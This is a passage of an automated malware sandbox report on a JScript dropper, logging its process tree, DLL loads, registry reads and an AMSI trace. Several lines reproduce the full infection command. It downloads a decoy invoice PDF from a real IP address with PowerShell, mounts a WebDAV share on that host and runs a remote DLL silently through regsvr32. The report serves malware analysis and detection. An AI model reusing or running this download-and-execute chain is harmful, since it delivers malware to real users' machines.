Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 2449715899306403241.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\2449715899306403241.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1752,i,17528422717243787748,968199973491756617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21681712126884.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1752,i,17528422717243787748,968199973491756617,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6768.js.csv");ITextStream.WriteLine(" entry:8448 f:jsrrz");ITextStream.WriteLine(" exec:2 f:jsrrz");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
